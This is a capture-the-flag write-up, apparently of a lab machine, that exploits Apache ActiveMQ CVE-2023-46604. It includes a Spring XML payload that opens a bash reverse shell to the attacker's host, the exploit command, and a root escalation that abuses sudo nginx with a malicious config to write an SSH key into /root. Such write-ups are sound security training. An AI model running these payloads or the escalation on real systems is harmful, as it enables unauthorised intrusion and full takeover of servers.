Recon
Wide attack surface — ActiveMQ exposes multiple ports for different protocols. Port 8161 is the web console; 61616 is the OpenWire protocol port and the actual exploit target.
$ nmap -sC -sV -oN nmap/initial 10.129.4.20 22/tcp open ssh OpenSSH 8.9p1 80/tcp open http nginx 1.18.0 |_http-auth: HTTP 401 Authorization Required 1883/tcp open mqtt Eclipse Mosquitto 5672/tcp open amqp Apache ActiveMQ 8161/tcp open http Jetty 9.4.39.v20210325 (ActiveMQ Web Console) 61613/tcp open stomp 61616/tcp open apachemq ActiveMQ OpenWire transport
Port 80 returned a 401 — tried admin/admin and it worked. That's the nginx proxy to the ActiveMQ web console. Port 8161 confirmed the version: ActiveMQ 5.15.15.
Enumeration
CVE-2023-46604: Apache ActiveMQ 5.x (up to 5.15.16, 5.16.7, 5.17.6, 5.18.3) has a critical RCE in the OpenWire protocol implementation. A specially crafted ExceptionResponse packet on port 61616 triggers a ClassPathXmlApplicationContext instantiation, loading a Spring XML configuration from an attacker-specified URL. No authentication required.
Foothold
The exploit requires hosting a Spring XML file that triggers command execution when loaded. I created a poc.xml to call a reverse shell:
# poc.xml — Spring XML that executes a reverse shell via ProcessBuilder <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value>bash -i >& /dev/tcp/10.10.14.X/4444 0>&1</value> </list> </constructor-arg> </bean> </beans>
# serve the XML and listen for the callback $ python3 -m http.server 8080 & $ nc -lvnp 4444 & # run the exploit (github.com/X1r0z/ActiveMQ-RCE or rapid7/metasploit-framework) $ python3 exploit.py -i 10.129.4.20 -p 61616 -u http://10.10.14.X:8080/poc.xml Sending payload...
connect to [10.10.14.X] from (UNKNOWN) [10.129.4.20] 45832 activemq@broker:/opt/apache-activemq-5.15.15/bin$ id uid=1001(activemq) gid=1001(activemq) groups=1001(activemq)
Privilege Escalation
activemq@broker:~$ sudo -l User activemq may run the following commands on broker: (ALL : ALL) NOPASSWD: /usr/sbin/nginx
sudo nginx with no restrictions. I can start nginx with a custom config file. The plan: create a config that runs nginx as root, serves the entire filesystem over HTTP with WebDAV PUT enabled — then use PUT to write my public key into /root/.ssh/authorized_keys.
# generate SSH key pair activemq@broker:~$ ssh-keygen -t rsa -f /tmp/hax -N "" # malicious nginx config activemq@broker:~$ cat > /tmp/evil.conf << 'EOF' user root; events { worker_connections 1024; } http { server { listen 1337; root /; dav_methods PUT; } } EOF activemq@broker:~$ sudo nginx -c /tmp/evil.conf # create authorized_keys directory and write our pubkey as root activemq@broker:~$ curl -s -X PUT http://localhost:1337/root/.ssh/authorized_keys \ --upload-file /tmp/hax.pub activemq@broker:~$ ssh -i /tmp/hax root@localhost root@broker:~# id uid=0(root) gid=0(root) groups=0(root)
Flags
Lessons Learned
- CVE-2023-46604 is a CVSS 10.0 pre-auth RCE — unpatched ActiveMQ 5.15.x is an immediate critical finding in any assessment. Patch or isolate the OpenWire port (61616) from untrusted networks.
- The Spring XML ClassPathXmlApplicationContext loading mechanism is a well-known Java deserialization/instantiation pattern — understanding it helps when analyzing similar deserialization gadget chains.
- sudo nginx with arbitrary config is a powerful privilege escalation:
user rootin an nginx config means the worker processes run as root, and WebDAV PUT lets you write any file as root. - Always check MQTT (1883) and AMQP (5672) during recon — message broker presence implies a backend service that may have its own vulnerabilities and often has weaker security posture than web-facing components.